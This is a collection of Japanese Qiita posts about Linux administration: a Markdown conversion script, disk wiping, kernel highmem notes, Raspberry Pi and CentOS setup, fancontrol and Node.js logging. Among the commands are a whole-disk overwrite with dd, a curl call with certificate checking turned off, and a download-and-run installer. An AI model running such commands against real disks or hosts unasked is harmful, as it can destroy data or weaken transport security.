- 投稿日:2020-04-30T23:02:09+09:00
MarkdownファイルをJupyterLab形式からQiita形式へ変換するLinuxスクリプト
概要
JupyterLab形式の数式コード
$$ $$を```math仕様に変換するスクリプト
run.shfilename=${1-'code.md'} # search $$ nl -ba $filename | grep "\$\\$" > TMP # num of iteration nrow=(`wc TMP | awk '{print $1}'`) # get row number array=($(cat TMP | awk '{print $1}')) for i in `seq 1 ${nrow}` do echo ${array[$((i-1))]} if [ $(( ${i} % 2 )) == 1 ] then sed -ie "${array[$((i-1))]} s/\$\\$/\`\`\`math/g" $filename else sed -ie "${array[$((i-1))]} s/\$\\$/\`\`\`/g" $filename fi done rm TMP使用例
./run.sh code.md
- 投稿日:2020-04-30T22:35:35+09:00
curl: (60) Issuer certificate is invalid.となった時の対応方法
- 環境
- Red Hat Enterprise Linux Server release 7.7 (Maipo)
- curl 7.29.0 (x86_64-redhat-linux-gnu)
事象 : httpsを
curlしたら怒られた$ curl https://localhost curl: (60) Issuer certificate is invalid. More details here: http://curl.haxx.se/docs/sslcerts.html curl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate file using the --cacert option. If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL). If you'd like to turn off curl's verification of the certificate, use the -k (or --insecure) option.原因 : SSLで証明書の検証に問題があるから
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL). (訳)このHTTPSサーバーが、バンドルに示されているCAによって署名された証明書を使用する場合、証明書の問題(有効期限が切れているか、名前がURLのドメイン名と一致していない可能性)が原因で証明書の検証に失敗した可能性があります。対応 :
-kか--insecureオプションで証明書の検証をしないIf you'd like to turn off curl's verification of the certificate, use the -k (or --insecure) option. (訳)curlによる証明書の検証をオフにしたい場合は、-k (または--insecure)オプションを使用します。ちゃんとURL先が見えた$ curl --insecure https://localhost <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> ...省略... </body></html>ほかの対応 : 証明書を用意する
- 投稿日:2020-04-30T20:15:40+09:00
ハードディスクのデータを完全に消去する
はじめに
ハードディスクの廃棄などで完全なデータのフォーマットが必要になったとき、ファイルを削除するだけでは、リカバリソフトを使うことで盗み取られてしまう可能性があります。完全なデータの削除をddコマンドを使用して実施します。
ディスク情報を確認する
デバイスは/dev/sdXとします。
$ sudo fdisk -l /dev/sdX ディスク /dev/sdX: 1.8 TiB, 2000398934016 バイト, 3907029168 セクタ 単位: セクタ (1 * 512 = 512 バイト) セクタサイズ (論理 / 物理): 512 バイト / 4096 バイト I/O サイズ (最小 / 推奨): 4096 バイト / 4096 バイト物理セクタサイズは、4096バイトのようです。
全物理セクタ数は、2000398934016 /4096=488378646セクタです。ディスク全体を削除する
乱数を書き込みます。
容量が大きいと時間がかかりますので、PCのリソースに余裕があるときに実行します。$ sudo dd if=/dev/urandom of=/dev/sdX bs=4096 count=488378646 seek=0 status=progress参考サイト
- 投稿日:2020-04-30T19:17:41+09:00
High Memory Handling
もともと、Linux Kernelのソースコードの一部なので、GPLv2扱いになる(はずの認識)。
https://www.kernel.org/doc/html/latest/index.html
Licensing documentation
The following describes the license of the Linux kernel source code (GPLv2), how to properly mark the license of individual files in the source tree, as well as links to the full license text.
https://www.kernel.org/doc/html/latest/process/license-rules.html#kernel-licensing
https://www.kernel.org/doc/html/latest/vm/highmem.html
High Memory Handling
By: Peter Zijlstra a.p.zijlstra@chello.nlWhat Is High Memory?
High memory (highmem) is used when the size of physical memory approaches or exceeds the maximum size of virtual memory.
High memory (highmem)は、物理メモリのサイズが仮想メモリの最大サイズに近づくか、あまた超えるときに使用されます。
At that point it becomes impossible for the kernel to keep all of the available physical memory mapped at all times.
その時点で、カーネルが使用可能なすべての物理メモリを、常時マップした状態を保つことはできなくなります。
This means the kernel needs to start using temporary mappings of the pieces of physical memory that it wants to access.
これは、カーネルがアクセスしようとする物理メモリの一部を、一時的にマッピングしはじめる必要があることを意味します。
.
The part of (physical) memory not covered by a permanent mapping is what we refer to as ‘highmem’.
永続的なマッピングだけではカバーされない(物理)メモリの部分は、
highmemと称されます。。There are various architecture dependent constraints on where exactly that border lies.
境界がどこに位置するのかについては、アーキテクチャ依存に関する様々な制約があります。
.
In the i386 arch, for example, we choose to map the kernel into every process’s VM space so that we don’t have to pay the full TLB invalidation costs for kernel entry/exit.
例えば、i386アーキの場合、kernelをすべてのプロセスの仮想マシン空間にマップすることを選択する。我々はkernel entry/exitのために、full TLB 無効化コストを支払う事が不要となる。
This means the available virtual memory space (4GiB on i386) has to be divided between user and kernel space.
つまり、利用可能な仮想メモリ空間(i386では4GiB)が、ユーザーとカーネル空間の間で分割されることを意味します。
.
The traditional split for architectures using this approach is 3:1, 3GiB for userspace and the top 1GiB for kernel space:
このアプローチを採用したアーキテクチャの従来からの分割方法は、3:1です、3GiBはユーザー空間に、top 1GiBはカーネル空間に割り当てます。
.
+--------+ 0xffffffff | Kernel | +--------+ 0xc0000000 | | | User | | | +--------+ 0x00000000This means that the kernel can at most map 1GiB of physical memory at any one time, but because we need virtual address space for other things - including temporary maps to access the rest of the physical memory - the actual direct map will typically be less (usually around ~896MiB).
これは、カーネルが一度に最大で1GiBの物理メモリをマップできることを意味します。物理メモリの残りの部分にアクセスするための一時的なマップなど、他のもののために仮想アドレス空間が必要なため、実際の直接マップは通常はそれ以下になります(通常は約896MiB)。
.
Other architectures that have mm context tagged TLBs can have separate kernel and user maps. Some hardware (like some ARMs), however, have limited virtual space when they use mm context tags.
mm context tagged TLBsを有する他のアーキテクチャでは、分割されたカーネルとユーザーマップを持つことができます。ただし、一部のハードウェア(例えば、ARMの一部)では、mm context tagsを用いると仮想空間に制限が発生します。
Temporary Virtual Mappings
The kernel contains several ways of creating temporary mappings:
kernelは一時的なマッピングを生成するためのいくつかの方法を有します。
.
- vmap(). This can be used to make a long duration mapping of multiple physical pages into a contiguous virtual space. It needs global synchronization to unmap.
- vmap(). これは連続した仮想空間に複数の物理ページを長い期間にわかって作る事ができる。これは、unmapするためには、global synchronizationが必要になる。
- kmap(). This permits a short duration mapping of a single page. It needs global synchronization, but is amortized somewhat. It is also prone to deadlocks when using in a nested fashion, and so it is not recommended for new code.
- kmap().これは単一ページに対する短い期間のマッピングを実行する。global synchronizationが必要が必要になるが、いくらかコストは軽減されている。入れ子にして利用するとデッドロックが発生することがあるので、新しいコードには推奨できない。
- kmap_atomic(). This permits a very short duration mapping of a single page. Since the mapping is restricted to the CPU that issued it, it performs well, but the issuing task is therefore required to stay on that CPU until it has finished, lest some other task displace its mappings. . kmap_atomic() may also be used by interrupt contexts, since it is does not sleep and the caller may not sleep until after kunmap_atomic() is called. . It may be assumed that k[un]map_atomic() won’t fail.
- kmap_atomic(). これにより単一ページを非常に短い期間マッピングすることができます。魔ピングはそれを実行したCPUに制限されるため、他のタスクがそのマッピングを置き換えないように、完了するまでそのCPUで処理を続けなければなりません。 . kmap_atomic()はまた割り込みコンテクストの中で利用することができます。それはsleepされず、また、呼び出し元はkunmap_atomic()を呼び出すまでスリープしません。 . k[un]map_atomic()は失敗しないと想定する必要があります。
Using kmap_atomic
When and where to use kmap_atomic() is straightforward.
kmap_atomic()をいつ、どこで使えばよいのか、ということは明快です。
It is used when code wants to access the contents of a page that might be allocated from high memory (see __GFP_HIGHMEM), for example a page in the pagecache.
これはコードがページキャッシュ内のページのように、high memory(__GFP_HIGHMEM)で確保されるページなどにアクセスする場合に利用されます。
The API has two functions, and they can be used in a manner similar to the following
APIは2つの関数があり、それぞれ利用方法は下記のような方法となります。
.
/* Find the page of interest. */ struct page *page = find_get_page(mapping, offset); /* Gain access to the contents of that page. */ void *vaddr = kmap_atomic(page); /* Do something to the contents of that page. */ memset(vaddr, 0, PAGE_SIZE); /* Unmap that page. */ kunmap_atomic(vaddr);Note that the kunmap_atomic() call takes the result of the kmap_atomic() call not the argument.
kummap_atomic()がkmap_atomic()が呼び出された結果如何に関わらず、呼び出さることを気を付けてください。
If you need to map two pages because you want to copy from one page to another you need to keep the kmap_atomic calls strictly nested, like:
もしあなたが2つのページをマッピングすることで、あるページから別のページにコピーしたい場合には、厳密な入れ子構造をもってkmap_atomic()を呼び出す必要があります。例えば、
vaddr1 = kmap_atomic(page1); vaddr2 = kmap_atomic(page2); memcpy(vaddr1, vaddr2, PAGE_SIZE); kunmap_atomic(vaddr2); kunmap_atomic(vaddr1);Cost of Temporary Mappings
The cost of creating temporary mappings can be quite high.
一時的なマッピング生成するコストは非常に高くなる可能性があります。
The arch has to manipulate the kernel’s page tables, the data TLB and/or the MMU’s registers.
アーキテクチャはカーネルのページテーブル、data TLB また/そして、MMU registerを操作する必要があります。
.
If CONFIG_HIGHMEM is not set, then the kernel will try and create a mapping simply with a bit of arithmetic that will convert the page struct address into a pointer to the page contents rather than juggling mappings about. In such a case, the unmap operation may be a null operation.
CONFIG_HIGHMEMが設定されていない場合、カーネルは、ページ構造体のアドレスを、マッピングをジャグリングする代わりに、ページの内容へのポインターに変換する少しの算術演算でマッピングを作成しようとします。 このような場合、マップ解除操作はnull操作になる可能性があります。
.
If CONFIG_MMU is not set, then there can be no temporary mappings and no highmem. In such a case, the arithmetic approach will also be used.
CONFIG_MMUが設定されていない場合、一時的なマッピングやhighmemが存在しない可能性があります。 そのような場合でも、算術アプローチが利用されます。
.
i386 PAE
The i386 arch, under some circumstances, will permit you to stick up to 64GiB of RAM into your 32-bit machine. This has a number of consequences:
状況に基づき、i386アーキテーク茶でも、32ビットマシンに最大64GiBのRAMを取り付けることができます。 これには多くの影響があります。
- Linux needs a page-frame structure for each page in the system and the pageframes need to live in the permanent mapping, which means:
- Linuxは、システムに含まれるそれぞれのページでpage-drame構造を要求し、pageframesはそれが意味する永続的なマッピングの中で有効である。つまり、
- you can have 896M/sizeof(struct page) page-frames at most; with struct page being 32-bytes that would end up being something in the order of 112G worth of pages; the kernel, however, needs to store more than just page-frames in that memory…
- (i386では) 最大で896M/sizeof(struct page)のページフレームを持つことができます。struct pageは32バイトであり、112G相当のページになるでしょう。 ただし、カーネルは当該メモリにページフレーム以上のものを格納する必要があります…
- PAE makes your page tables larger - which slows the system down as more data has to be accessed to traverse in TLB fills and the like. One advantage is that PAE has more PTE bits and can provide advanced features like NX and PAT.
- PAEはpage tablesをより大きくするでしょう。つまり、TLB fillsなどでトラバースするため、より多くのデータに対してアクセスする必要があり、システムが遅くなります。1つの利点は、PAEによってよりPTE bitを大きくできることで、NXやPATのような新たな特徴を提供できます。
The general recommendation is that you don’t use more than 8GiB on a 32-bit machine - although more might work for you and your workload, you’re pretty much on your own - don’t expect kernel developers to really care much if things come apart.
一般的な推奨としては、32bit machineでは8GiBを越えて利用しないことです。これは、ユーザーとユーザー負荷に効果があるかもしれません。しかし、それはあなた自身でやってください。何か問題が起きたとしても、カーネル開発者が気にすることを本当に期待しないでください。
- 投稿日:2020-04-30T18:17:45+09:00
RaspberryPi3B+にUbuntu 20.04 LTS (Server)の64bit版をインストール
Ubuntu(RapsberrPi版) のダウンロード
RaspberryPiのサイトではなく、以下からOSを入手します。
Install Ubuntu Server on a Raspberry Pi 2, 3 or 4 | Ubuntu
https://ubuntu.com/download/raspberry-piRaspberry Piは3か4でないと、Zoomの動作が厳しいです。
Ubuntu 20.04 LTS (Server)の64bit版をダウンロードしてください。
【PC】RaspberryPiのOSインストール
今回は Raspbian Buster with desktop and recommended software をインストールしました。(詳細手順は省略)
# SDを必ず確認すること taguchi@MasamacAir ~ % diskutil list /dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *500.3 GB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_APFS Container disk1 301.0 GB disk0s2 3: Microsoft Basic Data BOOTCAMP 199.1 GB disk0s3 /dev/disk1 (synthesized): #: TYPE NAME SIZE IDENTIFIER 0: APFS Container Scheme - +301.0 GB disk1 Physical Store disk0s2 1: APFS Volume Mac - Data 230.4 GB disk1s1 2: APFS Volume Preboot 83.4 MB disk1s2 3: APFS Volume Recovery 528.1 MB disk1s3 4: APFS Volume VM 2.1 GB disk1s4 5: APFS Volume Mac 11.2 GB disk1s5 /dev/disk2 (external, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *15.7 GB disk2 1: Windows_FAT_32 NO NAME 15.7 GB disk2s1 # /dev/disk2がSDだった例 taguchi@MasamacAir ~ % diskutil unMountDisk /dev/disk2 Unmount of all volumes on disk2 was successful taguchi@MasamacAir ~ % cd ~/Downloads taguchi@MasamacAir Downloads % sudo dd if=ubuntu-20.04-preinstalled-server-arm64+raspi.img of=/dev/rdisk2 bs=1mRaspberryPiの起動
更新やインストールで3G強のダウンロードができるネットワーク環境が必要です
送付先でモバイルルータ等を使う方も、設定作業では有線LAN/WiFiなど制限が無いネットワークを利用して下さい。SDカードをRaspberyPiに挿入し、電源ケーブルを接続します
初回ログイン
起動後、ubuntu login: と表示されますので、デフォルトのユーザID ubuntu でログインします
ubuntu login:ubuntu Password:ubuntu Current password:ubuntu New password:<新しいパスワードを入力> Retype new password:<新しいパスワードを再入力>Ubuntuの更新
入力コマンドsudo apt update sudo apt upgradeUbuntu Mate(ディスクトップ環境)のインストール
インストール後はコンソール画面で文字表示しかできません、ディスクトップ(GUI)環境を表示するため Ubuntu Mate をインストールします。
3G程度のダウンロードが必要になります、ネットワークの状況により大きく変わりますが、1時間〜1晩程度かかります。
気長に待って下さい。入力コマンドsudo apt install ubuntu-mate-desktop途中でディスプレイ・マネージャをどちらにするか聞かれます。
下のlightdmを選択しOKしてください。
キー入力としては 矢印下キー > tabキー(OKへ移動) > (下の画像の状態を確認し)enterキー です。
インストールが完了したら、再起動します。
入力コマンドsudo rebootUbuntu Mateのログイン
Ubuntu Mateのログイン画面が表示されます
インストール後はユーザ ubuntu しか設定されていませんので、そのままパスワードを入力してログインしてください
ターミナル MATE Terminal の起動方法
作業はターミナルアプリケーション、 MATE Terminal で行います。
ログイン後の画面で左上の「 Activities 」をクリックします
画面左下の 「 Show Applications 」をクリックします
Ubuntuの更新
MATE Terminalで作業を行います。(以降省略)
入力コマンドsudo apt update sudo apt upgrade
- 投稿日:2020-04-30T17:46:11+09:00
自分がLinuxに必ず入れるアプリ
この記事について
この記事では、私がLinuxにほぼ必ず入れているもの、無いと死んでしまうものをまとめました。
「もっと良いツールあるぞ!」「何に使うんだよそれ!」と思うものもあるかもしれませんが、必要なものは個人それぞれ異なりますので、スクロールして面白そうな所だけ読んでもらう形で結構です。並べて書いてあるコマンドは、LinuxMint上でAPTを利用してのインストールを想定したものです。
※ デスクトップ環境やハードの相性等によっては、手動でリポジトリを追加する必要が出てくることがありますが、インストールの問題に関しては基本的にはここでは扱いません。
GUI アプリ
Linuxユーザとは言っても、GUIにはある程度頼ります。
デスクトップ環境抜きのオールCUIの超人ではないので・・・。マルチメディア関係
VLCメディアプレイヤー
sudo apt install vlc対応コーデックが非常に多彩な再生ソフト。
これ一本入れておけば、メディア再生に困ることはほとんど無い。
DVDの再生なんかにも使用。
メディア変換機能もあり。(いつも後述のffmpegを使うが・・・。)Audacious
sudo apt install audaciousバックグラウンドで使うには個人的にベストな音楽プレイヤー。
シンプルなUIでプレイリスト機能が使いやすく、軽量で起動高速。
ウィンドウで目立つのはプレイリストと再生バーくらい。
ストリームの再生だとか、最近再生したものリストとかが不要に感じているならば、Rhythmboxよりもおすすめ。YouTube to MP3
# 事前にパッケージをダウンロード、もしくは手動でのリポジトリの追加からも可能な様子 # RPM パッケージは配布されていない様子 sudo apt install ./YouTubeToMP3.amd64.debhttps://www.mediahuman.com/youtube-to-mp3-converter/
名前の通り、YouTubeの動画を音声ファイルで保存してくれるソフト。
YouTubeプレイリストからの一括ダウンロードもできる点で愛用。
また、プレイリストの内容を定期的に確認し、追加された動画を自動でダウンロードしてくれる機能もあり。
私はNCSの曲をダウンロードしている。
(YouTubeの動画を無断でダウンロードしても良いのかは正直グレーと思う。再配布とかをしなければバレないけど・・・。)
???「バレなきゃ犯罪じゃねぇんだよ!」SimpleScreenRecorder
sudo apt install simplescreenrecorderデスクトップ録画ソフト。
デスクトップのキャプチャはOBSでも可能ではあるが、こちらの方が小回りが効いて好み。画像処理関係
Inkscape
sudo apt install inkscapeベクター編集ソフト。
ちょっと余分な線なんかを消したりするのにも使用。
「最適化SVG出力」も結構気に入り。GIMP
sudo apt install gimpデフォルトで入っていることもあるラスター画像編集ソフト。
画像のトリミングや透過といった編集に使用。
Linuxを本格的に触れる以前は、よくWindowsPaintを使っていた。
WindowsPaintなど、今ではスクショ保存専用ソフト同然に。Dia
sudo apt install dia記事書き等に使う図の作成に使用。
svg出力が可能な点、マス目に沿って図形を書ける点で愛用。
PowerPointを使って一生懸命図を書いていたあの頃が懐かしい。システム関係
GParted
sudo apt install gpartedディスクパーティション管理ソフト。
LinuxMintにデフォルトで入っている「ディスク」というドライブ管理ソフトではできない操作を行う時に利用。BleachBit
sudo apt install bleachbitシステムの一時ファイルやキャッシュなんかの削除をしてくれる。
たまに走らせると、数GB近く削減できることも。他
Visual Studio Code
# 事前にパッケージをダウンロードしておく # バージョンによってパッケージ名は異なるので注意 sudo apt install ./code_1.42.1-1581432938_amd64.debhttps://code.visualstudio.com/
Microsoft社がオープンソースで提供しているコードエディタ。
変数名や関数名、ファイル名等の入力補完が便利で愛用している。
Microsoft製品で唯一の愛用品。gnome-games
sudo apt install gnome-gamesオセロやマインスイーパー、ちょっとしたパズルゲームなんかが収録されている。
一休みしたい時なんかに。KPatience
sudo apt install kpat色々なソリティアが遊べる。
先程のgnome-gamesにもソリティアは含まれているが、こちらにはクロンダイク以外のソリティアも収録されており、個人的にはグラフィックもこちらのが好み。Discord
# 事前にパッケージをダウンロードしておく # バージョンによってパッケージ名は異なるので注意 sudo apt install ./discord-0.0.10.debhttps://discordapp.com/download
Discordのデスクトップアプリ。
ウィンドウを閉じても、デフォルトではバックグラウンドで動き続ける。
以前はSNAPで配信されたが、廃止?
LINEとは違い、Linux版があるのは嬉しい。Slack
# 事前にパッケージをダウンロードしておく # バージョンによってパッケージ名は異なるので注意 sudo apt install ./slack-desktop-4.2.0-amd64.debhttps://slack.com/intl/ja-jp/download
Slackのデスクトップアプリ。
こちらも、ウィンドウを閉じてもデフォルトではバックグラウンドで動き続ける。
LINEとh (ryCUI アプリ
GUIが発達しても、CUIは未だ現役。
コマンドとオプションを覚えていれば、すぐに目的の動作を初められる点、シェルスクリプトで半自動化できる点なら、GUIに劣らない強さを持つ。コンパイラ関係
gcc, g++
sudo apt install gcc g++makeで利用されることもあるので入れておく。
普段、シェルスクリプトばっかりでC++はあまり書かない。マルチメディア関係
ffmpeg
sudo apt install ffmpeg動画ファイルや音声ファイルの変換を行えるソフト。
使い初めて間もない頃はコマンドのオプションに苦戦することもあるが、一度慣れてしまえば下手なGUIアプリよりも快適に利用できる。
(※ 感じ方には個人差があります。)
ffproveでメディアの情報を確認するのも利用する。画像処理関係
gnuplot
sudo apt install gnuplotグラフの作成、及び画像出力を行えるソフト。
数式のグラフを作るとき、表計算ソフトを立ち上げるのが面倒なときはこれ。
画像の出力形式も多彩なものに対応。
「ヌープロット」って言われたり「グヌープロット」って言われたり。imagemagick
sudo apt install imagemagick画像ファイルの変換や、回転、トリミング等の簡単な編集を行えるソフト。
PDF への出力を行うには、要設定ファイル編集。(記事執筆時点)mozjpeg
※ ソースコードからのビルドが必要。インストール方法はここでは省略。Mozilla社がオープンソースで公開しているJPEGエンコーダー。
いくつか存在するエンコーダーの中で、高い圧縮率を持つ。
基本的に利用するのはjpegtranとcjpeg。
jpegtranではJPEGのメタデータを取り除くことも可能。zopfli
sudo apt install zopfliGoogle社がオープンソースで公開しているPNGエンコーダー。
-mオプションをつけると、複数回エンコードを繰り返し、ファイルサイズの低下が少なくなるまで再エンコードしてくれる。
他にも圧縮率に関係するオプションはあるが、私は普段-mオプションしか利用しない。
また、1枚の画像のエンコードも数秒、長ければ数十秒かかることもある。ExifTool
sudo apt install exiftool様々なファイルのメタデータを確認できるソフト。
シェルスクリプトの自作に役立つことが多々あり、よくお世話になっている愛用ソフトの一つ。他
Vim
sudo apt install vimLinux初期から存在する老舗テキストエディタ。拡張機能も豊富。
多くのUnix/Linux環境ではほぼデフォルトで導入されていることが多い。
root権限が必要な設定ファイル編集なんかには、間違いなくこれ一択。
ちなみに私は狂人Vimmerではない。fish
sudo apt install fish # 利用可能なシェル、fishのファイルパスの確認 cat /etc/shells # インストール後、fishをデフォルトのシェルとして動作させる # PC再起動後に変更は適応される # ※ 環境によってファイルパスが異なることもある chsh /usr/bin/fishLinuxのシェル。
LinuxMintではデフォルトでbashが動いているが、fishの方が好み。
プロンプトのカスタマイズがブラウザ上で行えるのも好みの理由の一つ。自分に適した環境を構築するには
ブログなんかで色々なソフトの使い心地が書かれていたりしますが、ベストなのは自分で触れてみることです。
プリインストールのものでイマイチ満足しきれないと感じたときは、色々探ってみると良いかもしれません。
- 投稿日:2020-04-30T17:33:48+09:00
[fancontorl] reboot後にhwmonが変更されてエラーになる時
はじめに
こちらの記事に興味を持っていただいたということは、ファンの騒音に悩まされている、もしくは、うるさくはないけど無音に違い状態で作業を行いたいといった望みがあるのではないでしょうか。
当の私はLinuxの自作PC初挑戦でRyzenで躓いて、今回i7-3770の中古を購入して上手くいったようなので記事に残すこのにしました。
同じような問題で悩まれている方の助けに少しでもなれたら書いた甲斐があります。
解決方法
/etc/fancontolの設定をフルパスとWildcardで指定することでデバイスが見つからない問題を回避できます。環境
- デバイス名: nct6667
- CPUファン: 1つ
- ケースファン: 1つ
当方のファンともに停止しないものだったので、
MINSTARTとMINSTOPを0にしてあります。デバイス名がどこにあるかわからない場合は、
find ディレクトリ名 -name デバイス名で簡単に調べられるのでお試しください。デバイスのlocationの探し方find ディレクトリ名 -name デバイス名設定
/etc/fancontol# Configuration file generated by pwmconfig, changes will be lost INTERVAL=10 FCTEMPS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input FCFANS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm1=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm2=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan2_input MINTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=35 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=35 MAXTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=60 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=60 MINSTART=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=150 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=150 MINSTOP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=0 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=0
- 投稿日:2020-04-30T17:33:48+09:00
[Fancontrol] Fancontrolの設定 完全版! これで駄目なら諦めなさい!
はじめに
こちらの記事に興味を持っていただいたということは、ファンの騒音に悩まされている、もしくは、うるさくはないけど無音に違い状態で作業を行いたいといった望みがあるのではないでしょうか。
当の私はLinuxの自作PC初挑戦でRyzenで躓いて、今回i7-3770の中古を購入して上手くいったようなので記事に残すこのにしました。
同じような問題で悩まれている方の助けに少しでもなれたら書いた甲斐があります。
解決方法
/etc/fancontolの設定をフルパスとWildcardで指定することでデバイスが見つからない問題を回避できます。当方環境について
- デバイス名: nct6667
- CPUファン: 1つ
ケースファン: 1つ
pwm1=ケースファン
pwm2=CPUファン
当方の設定内容について
- 当方のファンともに停止しないものだったので、
MINSTOPを0にしてあります。- ケースファン :
CPU温度が45度以上になるまで50%rmpで回転を開始- CPUファン :
CPU温度が35度以上になるまで最低速度で回転、越えたら150rpmで回転を開始両ファンとも完全停止しないためMINSTOPを0注意
rpm値の設定はファンによって冷却性と騒音レベルが違うので、バランスをよく調整しながら決める。
- 当方のケースファンはなかなかの轟音を放つためrpm値を小さ目(50rpm)に設定した。
小技
デバイス名がどこにあるかわからない場合は、find ディレクトリ名 -name デバイス名で簡単に調べられるのでお試しください。デバイスのlocationの探し方find ディレクトリ名 -name デバイス名設定
/etc/fancontol# Configuration file generated by pwmconfig, changes will be lost INTERVAL=10 FCTEMPS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input FCFANS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm1=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm2=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan2_input MINTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=35 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=35 MAXTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=60 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=60 MINSTART=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=50 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=150 MINSTOP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=0 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=0
- 投稿日:2020-04-30T17:08:49+09:00
Node.jsを使ってサーバにアクセスログを出力してみた
はじめに
この記事はなんとなくJSなどを勉強している学生がメモ代わりに書いている記事です。内容は期待しないでください。
1.仮想環境を構築する。
今回はUbuntuで行うのでiTerm2で仮想環境を起動する。
起動したところで
1.Virtual Box(バーチャルボックス)
2.Vagrant(ベイグラント)
という2つのソフトウェアを使った仮想環境でUbuntuを使用します。
cd ~/vagrant/ubuntu
vagrant up
vagrant sshUbuntuがインストールされたディレクトリに移動。vagrant upは仮想的なPCにインストールされたUbuntuを起動するコマンドで,vagrant sshはVagrantの仮想マシンがセットされている状態でSSHに接続します。
2.作成したサーバにログを表示する
以下の内容をhttp.createServerのアロー関数内に記述します。
console.info(
'[' + new Date() + '] Requested by ' + reqest.connection.remoteAddress
);
今回はreqestという変数にサーバへのリクエストを代入しています。今回はリクエストが送られたIP情報を出力します。console.infoというものを使用していますがinfoは以下のように分類されます。
関数名 内容 出力 info,log 普段から残す情報 標準出力 warn,error 警告 エラー標準出力 3.作成したサーバにエラーを出力する
on('error', (e) => {
console.error('[' + new Date() + '] Server Error', e);
以上のon関数をアロー関数後に記述します。4.実際にサーバを起動してみる
node ファイル名
実際にサーバを起動してエラー等のコンソールが表示されれば成功です。
- 投稿日:2020-04-30T15:39:01+09:00
EMLauncher を CentOS 8 に導入する手順
EMLauncherをCentOS8に導入する手順
この手順書はCentOS8にKLabさんのAndroid/iOSのテストアプリ配信ツールの
EMLauncherを導入する手順書となります。※ この手順書を書く時に使ってるCentOSのバージョンは
8.1.1911です。参考サイト
- KLab/emlauncher
- EMLauncherをCentOS8にInstall
- CentOSとPostfixを使って送信専用のメールサーバーを構築する方法
- PostfixのメールをGMail経由で送る
EmLauncherの導入
※ 以下の処理はすべて
rootユーザでログインして実行してください。1. Firewall setup
http(80)のポートを開放します。
firewall-cmd --zone=public --add-port=80/tcp --permanent systemctl restart firewalld2. Install required packages
EPELリポジトリを追加します。
dnf -y install epel-releaseRemiリポジトリを追加します。
dnf -y install http://rpms.famillecollet.com/enterprise/remi-release-8.rpmPHP 7.4 インストールします。
dnf -y module install php:remi-7.4その他パッケージをインストールします。
dnf -y install httpd mariadb-server memcached php-gd php-mbstring php-xml php-pecl-imagick php-pecl-memcached php-pecl-zip php-pdo php-mysqlnd gitComposerをインストールします。
curl -sS https://getcomposer.org/installer | php mv composer.phar /usr/local/bin/composer`3. Deploy codes
GitHubからemlauncherをクローンします。
cd /var/www/html git clone https://github.com/KLab/emlauncher.gitサブモジュールを初期化して、更新します。
cd emlauncher git submodule init && git submodule updateComposerで関連パッケージをインストールします。
composer installApacheがemlauncherにアクセスできるようにパーミッションを調整します。
chown -R apache:apache /var/www/html/emlauncher4. Apache setup
※ CentOS8では
php-fpmが使用されているので、.htaccess内で記載するとエラーになるため.htaccess内の設定をコメントアウトして/etc/php.iniに設定する必要があります。
emlauncher/web/.htaccessを編集します。vim /var/www/html/emlauncher/web/.htaccess以下の内容をコメントアウトします。
#php_flag short_open_tag On #php_value memory_limit "4G" #php_value upload_max_filesize "4G" #php_value post_max_size "4G" #php_value max_execution_time 300 #php_value max_input_time 300
/etc/php.iniを編集します。vim /etc/php.ini
.htaccess内でコメントアウトした設定を以下のように設定します。short_open_tag = On max_execution_time = 300 max_input_time = 300 memory_limit = 4G post_max_size = 4G upload_max_filesize = 4GApacheの設定ファイル
